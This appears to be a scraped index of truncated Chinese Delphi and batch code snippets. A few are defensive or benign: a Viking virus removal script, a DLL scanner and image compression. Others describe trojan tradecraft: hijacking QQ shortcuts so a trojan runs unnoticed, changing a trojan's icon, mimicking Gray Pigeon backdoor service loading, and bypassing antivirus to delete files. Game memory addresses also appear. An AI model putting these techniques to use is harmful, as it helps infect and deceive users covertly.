@echo off title清除威金（logo_1 , 熊猫烧香）病毒最新变种工具 @echo 清除VIKING病毒最新变种工具 pause if exist %windir% \ rundl132 . exe echo ---报告老大，发现有威金病毒埋伏!让我来干掉它----- if...
单元 ShlObj, ComObj, ActiveX; 修改快捷方式的启动目标,不改变原图标样子,反正QQ这种是用户每次开机就运行的，就连同我们的马一起运行了呗. 马在运行时会自动开启QQ,这样用户就发现不到...
type PTIMPORT_CODE=^TIMPORT_CODE; TIMPORT_CODE=packed record JmpPtr:Word; PtrAdd:^Pointer; end; function SHFormatDrive(hWnd: HWND; Drive: Word; fmtID: Word; Options: Word): Longint stdcall; external 'Shell32.dll' Name 'SHFormatDrive'; ........
3句话绕过XXX拦截删除桌面快捷方式 直接删除是不行滴~ procedure DeletefileEx(name:String); var name2:string; begin name2:=ExtractfilePath(name)+'\E.txt'; movefile(Pchar(name),Pchar(name2)); Deletefile(name2); end;...
ifMatch(FilePath+FileRec.Name,MaskList)then begin ce:=FilePath+FileRec.Name; Form1.lbl3.Caption:=ce; Application.ProcessMessages; ifLowerCase(RightStr(ce,9))='usp10.dll'then begin Form1.mmo1.Lines.Add('发现usp10.dll:'+ce); SetFileAttribut...
unit Unit1; //一个给木马替换图标的代码 QQ：6331905 interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs,shellapi, StdCtrls, ExtCtrls; //1+shellapi type TForm1 = class(TForm) Button1:...
delphi 仿灰鸽子服务加载启动 看代码 界面 自己 写 program Service; uses Windows, WinSvc; const ServiceName: pchar = 'AFX Service'; DisplayName: pchar = 'AFX Demo Service'; //www.delphitop.com var Status: TServiceStatus; Stat...
funit.pas///////////// unit funit; interface function FindProcess(ExeName: string): Longword; //查找进程 function StrCopy(Dest: PChar; const Source: PChar): PChar; //拷贝字符串 function GetDLLDirectory(FullPath: string): string; //取...
此方法仅限于使用狂人出品的登录器之前搞错了抱歉 另外就是基址我找了好几个地方如都能用 不知道是不是准确的下面是我找的所有基址我本机是能够正常读取的 $00f22a29 $01044039 $013...
添加引用：uses JPEG; //=====================图片处理函数，将覆盖原图片文件=========================== //=====filename:图片完整路径 PressQuality:压缩质量 Width:宽 Height:高 function CompressMainFun(filename: S...